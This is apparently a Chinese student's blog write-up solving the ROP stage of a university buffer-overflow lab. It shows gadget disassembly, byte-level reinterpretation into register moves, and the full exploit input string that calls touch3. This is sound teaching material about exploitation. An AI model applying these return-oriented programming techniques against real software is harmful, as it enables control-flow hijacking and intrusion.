通过这段片段,我们可以将rsp赋值给rdi

而关于popl %esi的操作也需要分步进行(因为只能找到popq %rax的片段),我们有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret

0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 ret

0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret

将其拆解为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
4019ab: 58		popq %rax
4019ac: 90 nop
4019ad: c3 retq

4019dd: 89 c2 movl %eax, %edx
4019df: 90 nop
4019e0: c3 retq

401a34: 89 d1 movl %edx, %ecx
401a36: 38 c9 cmpb %cl, %cl ;有亿点点离谱了,在表最下面还是能查到的
401a38: c3 retq

401a13: 89 ce movl %ecx, %esi
401a15: 90 nop
401a16: 90 nop
401a17: c3 retq

这次经历非常残酷的曲线救国,经历了%eax-> %edx -> %ecx -> %esi

带入了add_xy之后,结果地址输出在rax上,我们还需要把rax上参数传到rdi上,来作为第一参数传递给touch3,也就是movq %rax, %rdi

经历了一番查找,我们找到片段:

1
2
3
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret

将其拆解为:

1
2
4019a2: 48 89 c7	movq %rax, %rdi
4019a5: c3 retq

至此所有gadgets都已获得。

我们通过objdump获得touch3的入口地址为0x4018fa。同时将"59b997fa"转为ASCII码:

1
35 39 62 39 39 37 66 61 00

至此,我们的准备工作已经完毕,内存布局如下:

注入的字符串应该为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 /* fill buffer(40 bytes) */
ad 1a 40 00 00 00 00 00 /* movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* bias */
dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx, %esi */
d6 19 40 00 00 00 00 00 /* add_xy */
a2 19 40 00 00 00 00 00 /* movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 00 /* "59b997fa" */

尝试验证,可以通过:

总结

本次试验全程利用了缓冲区溢出漏洞,我们通过覆写栈帧中返回地址的方式,可以将程序指向我们希望的位置运行,来完成攻击的目的。

第一阶段中,程序没有进行栈地址随机化和禁止栈上代码执行等操作,因此我们可以大胆的将注入程序字节码写在缓冲区中,直接将返回地址指向这段程序。

第二阶段中,我们通过ROP的方式,通过将返回地址指向已经存在的程序中的代码片段gadgets,强行让程序曲解执行的字节码的含义来达到我们想要的目的。

难度挺大,但是还是挺有趣的,下次再接再厉吧~